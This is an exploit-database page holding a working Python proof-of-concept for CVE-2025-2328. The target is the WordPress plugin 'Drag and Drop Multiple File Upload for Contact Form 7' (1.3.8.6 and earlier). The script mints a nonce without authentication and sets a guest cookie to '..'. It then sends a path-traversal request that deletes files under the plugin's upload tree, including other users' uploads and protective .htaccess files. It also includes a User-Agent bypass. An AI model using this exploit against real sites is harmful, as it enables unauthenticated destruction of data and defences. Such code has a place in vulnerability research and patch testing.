Share
## https://sploitus.com/exploit?id=PACKETSTORM:226468
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.8.6 - Unauthenticated Arbitrary File Deletion
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
    # Software Link: https://downloads.wordpress.org/plugin/drag-and-drop-multiple-file-upload-contact-form-7.1.3.8.6.zip
    # Version: 1.3.8.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-2328
    """
    Drag and Drop Multiple File Upload for CF7 <= 1.3.8.6 registers the nopriv AJAX action
    dnd_codedropz_upload_delete (inc/dnd-upload-cf7.php:28). The deletion target `path` is only
    sanitize_text_field()'d (../ survives), and the per-guest ownership check compares
    dnd_cf7_get_unique_id() (== $_COOKIE['wpcf7_guest_user_id'], attacker-controlled) against
    dirname($path) โ€” so setting the cookie to '..' and path to '../<file>' satisfies the check and lets
    the attacker traverse out of the per-guest folder to delete any file under the plugin upload tree
    (wp-content/uploads/wp_dndcf7_uploads/), including other guests' uploads and the protective
    .htaccess/index.php. The required nonce is freely minted by the companion nopriv action
    _wpcf7_check_nonce, which returns a valid 'dnd-cf7-security-nonce' to anyone. The only extra hurdle
    is a cURL User-Agent block (line 999), bypassed with a browser UA. CF7/Flamingo are NOT required.
    
    Prior state: plugin active. A canary is planted inside the upload tree (as any uploaded file would
    be) to demonstrate deletion.
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    UA = {"User-Agent": "Mozilla/5.0"}
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--path", default="../canary.txt",
                        help="path relative to wp_dndcf7_uploads/wpcf7-files (default deletes the canary)")
        ap.add_argument("--canary-url",
                        default="/wp-content/uploads/wp_dndcf7_uploads/canary.txt",
                        help="URL used only to check deletion of the demo canary")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        before = requests.get(base + args.canary_url, verify=False).status_code
        nonce = re.search(r'"data":"([^"]+)"',
                          s.post(base + "/wp-admin/admin-ajax.php",
                                 data={"action": "_wpcf7_check_nonce"}, headers=UA, timeout=20).text).group(1)
        print(f"[*] Target: {base} | self-minted nonce: {nonce}")
        h = dict(UA); h["Cookie"] = "wpcf7_guest_user_id=.."
        r = s.post(base + "/wp-admin/admin-ajax.php", headers=h,
                   data={"action": "dnd_codedropz_upload_delete", "security": nonce, "path": args.path},
                   timeout=20)
        print(f"[*] delete '{args.path}' -> HTTP {r.status_code} :: {r.text[:80]}")
        after = requests.get(base + args.canary_url, verify=False).status_code
        print(f"[*] canary {before} -> {after}")
        if before == 200 and after == 404:
            print("\n[+] ARBITRARY FILE DELETION CONFIRMED โ€” unauthenticated attacker deleted the canary "
                  "via path traversal.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())